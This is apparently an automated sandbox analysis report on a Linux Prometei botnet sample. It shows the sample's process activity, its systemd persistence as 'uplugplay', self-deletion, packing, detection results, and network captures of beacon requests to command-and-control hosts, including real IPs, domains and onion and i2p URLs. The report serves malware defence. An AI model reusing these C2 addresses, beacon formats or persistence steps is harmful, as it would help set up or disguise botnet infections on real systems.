Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/246/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3402/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/126/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/126/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/5/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/5/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/247/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/247/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/127/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/127/cmdline	Jump to behavior

Source: /tmp/na.elf (PID: 5488)	Shell command executed: sh -c "pgrep na.elf"	Jump to behavior
Source: /tmp/na.elf (PID: 5492)	Shell command executed: sh -c "pidof na.elf"	Jump to behavior
Source: /tmp/na.elf (PID: 5496)	Shell command executed: sh -c "pgrep uplugplay"	Jump to behavior
Source: /tmp/na.elf (PID: 5500)	Shell command executed: sh -c "pgrep upnpsetup"	Jump to behavior
Source: /tmp/na.elf (PID: 5506)	Shell command executed: sh -c "pidof upnpsetup"	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	Shell command executed: sh -c "systemctl daemon-reload"	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Shell command executed: sh -c "systemctl enable uplugplay.service"	Jump to behavior
Source: /tmp/na.elf (PID: 5520)	Shell command executed: sh -c "systemctl start uplugplay.service"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5533)	Shell command executed: sh -c "/usr/sbin/uplugplay -Dcomsvc"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5538)	Shell command executed: sh -c hostnamectl	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5679)	Shell command executed: sh -c uptime	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5683)	Shell command executed: sh -c "uname -a"	Jump to behavior

Source: /bin/sh (PID: 5489)	Pgrep executable: /usr/bin/pgrep -> pgrep na.elf	Jump to behavior
Source: /bin/sh (PID: 5497)	Pgrep executable: /usr/bin/pgrep -> pgrep uplugplay	Jump to behavior
Source: /bin/sh (PID: 5501)	Pgrep executable: /usr/bin/pgrep -> pgrep upnpsetup	Jump to behavior

Source: /bin/sh (PID: 5509)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5514)	Systemctl executable: /usr/bin/systemctl -> systemctl enable uplugplay.service	Jump to behavior
Source: /bin/sh (PID: 5521)	Systemctl executable: /usr/bin/systemctl -> systemctl start uplugplay.service	Jump to behavior

Source: /usr/sbin/uplugplay (PID: 5534)	Reads from proc file: /proc/cpuinfo	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5534)	Reads from proc file: /proc/stat	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5534)	Reads from proc file: /proc/meminfo	Jump to behavior

Source: /tmp/na.elf (PID: 5485)

File: /usr/sbin/uplugplay (bits: -v usr: x grp: x all: r)

Jump to behavior

Source: /tmp/na.elf (PID: 5485)

File written: /usr/sbin/uplugplay

Jump to dropped file

Source: submitted sample

Stderr: Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.: exit code = 0

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/na.elf (PID: 5485)

File: /usr/sbin/uplugplay

Jump to dropped file

Sample deletes itself

Source: /tmp/na.elf (PID: 5485)

File: /tmp/na.elf

Jump to behavior

Source: na.elf	Submission file: segment LOAD with 7.6054 entropy (max. 8.0)
Source: na.elf	Submission file: segment LOAD with 7.943 entropy (max. 8.0)
Source: uplugplay.12.dr	Dropped file: segment LOAD with 7.6054 entropy (max. 8.0)
Source: uplugplay.12.dr	Dropped file: segment LOAD with 7.943 entropy (max. 8.0)

Source: /usr/sbin/uplugplay (PID: 5534)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Source: /usr/bin/pgrep (PID: 5489)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5501)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5534)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 5680)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Source: /tmp/na.elf (PID: 5485)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5522)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5534)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uname (PID: 5684)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5542)	Queries kernel information via 'uname':	Jump to behavior

Source: /bin/sh (PID: 5684)

Uname executable: /usr/bin/uname -> uname -a

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	4 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Proxy	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
na.elf	34%	Virustotal		Browse
na.elf	44%	ReversingLabs	Win32.Trojan.Prometei
na.elf	100%	Avira	LINUX/GM.Agent.JQ

Dropped Files

Source	Detection	Scanner	Label	Link
/usr/sbin/uplugplay	100%	Avira	LINUX/GM.Agent.JQ
/usr/sbin/uplugplay	44%	ReversingLabs	Win32.Trojan.Prometei
/usr/sbin/uplugplay	34%	Virustotal		Browse

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
xinchaobecfda.net	34.245.175.187	true	false	high
xinchaobecfda.com	unknown	unknown	false	high
xinbecfda.org	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni	na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://upx.sf.net	na.elf, uplugplay.12.dr	false	high
http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi	na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi	na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://152.36.128.18/cgi-bin/p.cgi	na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://dummy.zero/cgi-bin/prometei.cgi	na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://152.36.128	na.elf, uplugplay.12.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
34.245.175.187	xinchaobecfda.net	United States		16509	AMAZON-02US	false
152.36.128.18	unknown	United States		81	NCRENUS	true

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.245.175.187	CV_Sales Representative - Job Request PDF.exe	Get hash	malicious	FormBook	Browse	pwlqfu.biz/chhwy
152.36.128.18	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=13&i=0VN1ZO78P8NOSWI8
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=15&i=JD6C5515E11A9I5T
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=13&i=P6BER5Y446B583Y1
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=5&i=4R584D234S2BAD5V
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=13&i=79Y05TE87HSV8S1F
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=13&i=51R7HNDG7W1UPX84
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=13&i=59RS0ZU1Y76MP890
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=47&i=NPDZ1TU2832BOK91
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=8&i=Y414PSAY0BN20001
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=9&i=58O3Q65E37C22SB1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
xinchaobecfda.net	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	54.171.230.55
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	efefa7.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	sync.arm6.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	vjwe68k.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
NCRENUS	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/CommId

Download File

Process:	/usr/sbin/uplugplay
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:qdVZ:qdVZ
MD5:	6CB5EE80EFF55BC99B6B7DC6CFA72AFA
SHA1:	682D0233A0AE510DE3B5309F87F2A6F7F7AF1476
SHA-256:	6D78B29AEAEC13F6D0C9F51C121BAC689DF50825D1FED893A0001E7C3FA6AAE9
SHA-512:	33CD37C584A63A68281B7A196B6EB2BA35F1B54F8CCD073D7BF66BD61B5E881C3B95596C22704E0F4B2B4D1761FC7A7F7B320FFB642D76A9C3304CE5F4A75769
Malicious:	true
Reputation:	low
Preview:	J6MV94Q8O3QR1VZ4

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	high, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/usr/lib/systemd/system/uplugplay.service

Download File

Process:	/tmp/na.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.769509838572339
Encrypted:	false
SSDEEP:	3:zMZa75X1PxQJqtWA1+DRvBADMikAdIgQ+aQmNJX4ev+sirSkQmWA1+DRvn:z8uXcqtWA4RZAMD+aBNdhTILQmWA4Rv
MD5:	8CA62D1F47880BCE036C2956C9B7B272
SHA1:	3BCC3A5C4FCC5B0D08C4524A59F6B8E113B62060
SHA-256:	C655D3D4E374FAD38313EC4262207B2D7D68A870238F203EF3C33F85E66C8E32
SHA-512:	4CD2D9D67151FA25E833707DEE2442C4A5F752053FC2C36EC73C0E2B734C66CA69C63FCEB47714D9ADD5B9FE2EEE1E45BE5199E2CAE7C26173E766B333877DA6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[Unit].Description=UPlugPlay.After=multi-user.target..[Service].Type=forking.ExecStart=/usr/sbin/uplugplay..[Install].WantedBy=multi-user.target.

/usr/sbin/uplugplay

Download File

Process:	/tmp/na.elf
File Type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Category:	dropped
Size (bytes):	435932
Entropy (8bit):	7.942818349928548
Encrypted:	false
SSDEEP:	6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgA:25WOSACZSV6eKRH5EPiamb4DsDwwcQ
MD5:	EA80B91000352183682D5AD1FF2D6B7B
SHA1:	12DEFADBF0A82722B05563B8701CE79DDA795A23
SHA-256:	6134A2D5C7183945F5ACA5CD821A1BA244A7996C2CE22A87B53C16D368C3725B
SHA-512:	F0B01F9B5ADAD998A99403A2F5E4C5555E73897D9526302283B758A213A6851EA0958E595679AA90E4A2659A73A51FE421404A4DC19EB700F1D8D774A90F5617
Malicious:	true
Yara Hits:	Rule: Linux_Trojan_Dofloo_ac3333d1, Description: unknown, Source: /usr/sbin/uplugplay, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 44% Antivirus: Virustotal, Detection: 34%, Browse
Reputation:	low
Preview:	.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v..p............. ..ELF......>....@.......0..'8..........W.3c..-.......o..K>...@!v..{_bo./.O7.%....o.....l..-.R..XOH....6..o..p..@... ....om.r2...D_..n.D...O...M(.S.td...POQn..PpnG.oRO!..=.0...%I.$...@.P.............y......GNU....'..l......?D....N...k.n..m"c...i......._....R.%..y...#N./ $../..p.E....v!#...._..r....K....../0.\|.....p.L.........H...._...#/v..._P.C2.b.`....y!.K...x!...@p.2.".oh...`......X.B.C;P_.L/H....@...N..8?.0O.C;.`(...q.\. ..O.$ar .@%I.!v...}...I&.n.......H...H...H..t..."...9.....?..%.....D................................}....ume....]U....ME=....5-%...................&..E.t$..T$.<{....%.....H.\|$...~.9.g...Sd2.OH.. ......kn(...$. 1.H9..+..t>d....4..u......~2..w..H.. mU.H.=d...o...V..`...V..=[._w.Ru6..O

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Entropy (8bit):	7.942818349928548
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	na.elf
File size:	435'932 bytes
MD5:	ea80b91000352183682d5ad1ff2d6b7b
SHA1:	12defadbf0a82722b05563b8701ce79dda795a23
SHA256:	6134a2d5c7183945f5aca5cd821a1ba244a7996c2ce22a87b53c16d368c3725b
SHA512:	f0b01f9b5adad998a99403a2f5e4c5555e73897d9526302283b758a213a6851ea0958e595679aa90e4a2659a73a51fe421404a4dc19eb700f1d8d774a90f5617
SSDEEP:	6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgA:25WOSACZSV6eKRH5EPiamb4DsDwwcQ
TLSH:	609423F8C87D2E3098169F3CBB1A826CF0A15772D9562F6AB51AF5732179F1FAC60101
File Content Preview:	.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v.

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x15de360
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	0
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x400000	0x400000	0x1000	0x1174858	7.6054	0x6	RW	0x1000
LOAD	0x0	0x1575000	0x1575000	0x69e4d	0x69e4d	7.9430	0x5	R E	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x10

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-15T03:41:17.760401+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.14	40758	152.36.128.18	80	TCP
2025-03-15T03:43:19.064246+0100	2044560	ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern	1	192.168.2.14	46231	8.8.8.8	53	UDP
2025-03-15T03:43:19.073843+0100	2044560	ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern	1	192.168.2.14	43639	8.8.8.8	53	UDP
2025-03-15T03:43:19.174686+0100	2044560	ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern	1	192.168.2.14	39711	8.8.8.8	53	UDP
2025-03-15T03:43:20.013772+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.14	33852	34.245.175.187	80	TCP
2025-03-15T03:43:20.021937+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.245.175.187	80	192.168.2.14	33852	TCP
2025-03-15T03:43:20.021937+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.245.175.187	80	192.168.2.14	33852	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2025 03:41:16.240457058 CET	40758	80	192.168.2.14	152.36.128.18
Mar 15, 2025 03:41:16.245189905 CET	80	40758	152.36.128.18	192.168.2.14
Mar 15, 2025 03:41:16.245271921 CET	40758	80	192.168.2.14	152.36.128.18
Mar 15, 2025 03:41:16.248255014 CET	40758	80	192.168.2.14	152.36.128.18
Mar 15, 2025 03:41:16.252908945 CET	80	40758	152.36.128.18	192.168.2.14
Mar 15, 2025 03:41:17.759706020 CET	80	40758	152.36.128.18	192.168.2.14
Mar 15, 2025 03:41:17.760401011 CET	40758	80	192.168.2.14	152.36.128.18
Mar 15, 2025 03:41:17.765120029 CET	80	40758	152.36.128.18	192.168.2.14
Mar 15, 2025 03:43:19.274583101 CET	33852	80	192.168.2.14	34.245.175.187
Mar 15, 2025 03:43:19.280010939 CET	80	33852	34.245.175.187	192.168.2.14
Mar 15, 2025 03:43:19.280076027 CET	33852	80	192.168.2.14	34.245.175.187
Mar 15, 2025 03:43:19.281506062 CET	33852	80	192.168.2.14	34.245.175.187
Mar 15, 2025 03:43:19.286197901 CET	80	33852	34.245.175.187	192.168.2.14
Mar 15, 2025 03:43:20.013632059 CET	80	33852	34.245.175.187	192.168.2.14
Mar 15, 2025 03:43:20.013652086 CET	80	33852	34.245.175.187	192.168.2.14
Mar 15, 2025 03:43:20.013772011 CET	33852	80	192.168.2.14	34.245.175.187
Mar 15, 2025 03:43:20.015863895 CET	33852	80	192.168.2.14	34.245.175.187
Mar 15, 2025 03:43:20.021936893 CET	80	33852	34.245.175.187	192.168.2.14
Mar 15, 2025 03:43:20.028624058 CET	35206	80	192.168.2.14	172.16.3.2
Mar 15, 2025 03:43:20.034631968 CET	80	35206	172.16.3.2	192.168.2.14
Mar 15, 2025 03:43:20.034702063 CET	35206	80	192.168.2.14	172.16.3.2
Mar 15, 2025 03:43:20.036268950 CET	35206	80	192.168.2.14	172.16.3.2
Mar 15, 2025 03:43:20.042375088 CET	80	35206	172.16.3.2	192.168.2.14

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2025 03:43:19.064245939 CET	46231	53	192.168.2.14	8.8.8.8
Mar 15, 2025 03:43:19.073101997 CET	53	46231	8.8.8.8	192.168.2.14
Mar 15, 2025 03:43:19.073843002 CET	43639	53	192.168.2.14	8.8.8.8
Mar 15, 2025 03:43:19.172300100 CET	53	43639	8.8.8.8	192.168.2.14
Mar 15, 2025 03:43:19.174685955 CET	39711	53	192.168.2.14	8.8.8.8
Mar 15, 2025 03:43:19.273597956 CET	53	39711	8.8.8.8	192.168.2.14
Mar 15, 2025 03:43:20.016952991 CET	57714	53	192.168.2.14	8.8.8.8
Mar 15, 2025 03:43:20.024534941 CET	53	57714	8.8.8.8	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 15, 2025 03:43:19.064245939 CET	192.168.2.14	8.8.8.8	0x159e	Standard query (0)	xinchaobecfda.com	A (IP address)	IN (0x0001)	false
Mar 15, 2025 03:43:19.073843002 CET	192.168.2.14	8.8.8.8	0x159e	Standard query (0)	xinchaobecfda.net	A (IP address)	IN (0x0001)	false
Mar 15, 2025 03:43:19.174685955 CET	192.168.2.14	8.8.8.8	0x159e	Standard query (0)	xinchaobecfda.net	A (IP address)	IN (0x0001)	false
Mar 15, 2025 03:43:20.016952991 CET	192.168.2.14	8.8.8.8	0x159e	Standard query (0)	xinbecfda.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 15, 2025 03:43:19.073101997 CET	8.8.8.8	192.168.2.14	0x159e	Name error (3)	xinchaobecfda.com	none	none	A (IP address)	IN (0x0001)	false
Mar 15, 2025 03:43:19.172300100 CET	8.8.8.8	192.168.2.14	0x159e	No error (0)	xinchaobecfda.net		34.245.175.187	A (IP address)	IN (0x0001)	false
Mar 15, 2025 03:43:19.273597956 CET	8.8.8.8	192.168.2.14	0x159e	No error (0)	xinchaobecfda.net		34.245.175.187	A (IP address)	IN (0x0001)	false
Mar 15, 2025 03:43:20.024534941 CET	8.8.8.8	192.168.2.14	0x159e	Name error (3)	xinbecfda.org	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

152.36.128.18

xinchaobecfda.net

172.16.3.2

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	40758	152.36.128.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 15, 2025 03:41:16.248255014 CET	87	OUT	GET /cgi-bin/p.cgi?r=4&i=J6MV94Q8O3QR1VZ4 HTTP/1.0 Host: 152.36.128.18

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	33852	34.245.175.187	80

Timestamp	Bytes transferred	Direction	Data
Mar 15, 2025 03:43:19.281506062 CET	281	OUT	GET /cgi-bin/p.cgi?r=0&auth=hash&i=J6MV94Q8O3QR1VZ4&enckey=5w3tBBBdBr/5/4-Y68kFcsBY2M/xV56cuZjNmN6HWdizy3m6rqk2sHOaa0wQhKYooD/LqsH51AOY08Ix6M7SvAJiJreaCIZrrTS-civdqY5FWIwmKjQKSuaHi23n75sN-ykLeSZB0Oar1PyL4v3BbSf0z3U8IpUl7dYRLkv74Zc_ HTTP/1.0 Host: xinchaobecfda.net
Mar 15, 2025 03:43:20.013632059 CET	396	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Mar 2025 02:43:19 GMT Content-Type: text/html Connection: close Set-Cookie: btst=a9c0c328f5657f398e244902fee405d2\|8.46.123.189\|1742006599\|1742006599\|0\|1\|0; path=/; domain=.xinchaobecfda.net; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	35206	172.16.3.2	80

Timestamp	Bytes transferred	Direction	Data
Mar 15, 2025 03:43:20.036268950 CET	84	OUT	GET /cgi-bin/p.cgi?r=0&i=J6MV94Q8O3QR1VZ4 HTTP/1.0 Host: 172.16.3.2

System Behavior

Analysis Process: na.elf PID: 5485, Parent PID: 5411

General

Start time (UTC):	02:41:06
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	/tmp/na.elf
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: na.elf PID: 5488, Parent PID: 5485

General

Start time (UTC):	02:41:06
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5488, Parent PID: 5485

General

Start time (UTC):	02:41:06
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep na.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5489, Parent PID: 5488

General

Start time (UTC):	02:41:06
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pgrep PID: 5489, Parent PID: 5488

General

Start time (UTC):	02:41:06
Start date (UTC):	15/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep na.elf
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: na.elf PID: 5492, Parent PID: 5485

General

Start time (UTC):	02:41:07
Start date (UTC):	15/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	ea80b91000352183682d5ad1ff2d6b7b

Chronological Activities

Analysis Process: sh PID: 5492, Parent PID: 5485

General

Start time (UTC):	02:41:07
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	sh -c "pidof na.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5493, Parent PID: 5492

General

Start time (UTC):	02:41:07
Start date (UTC):	15/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: pidof PID: 5493, Parent PID: 5492

General

Start time (UTC):	02:41:07
Start date (UTC):	15/03/2025
Path:	/usr/bin/pidof
Arguments:	pidof na.elf
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

Chronological Activities

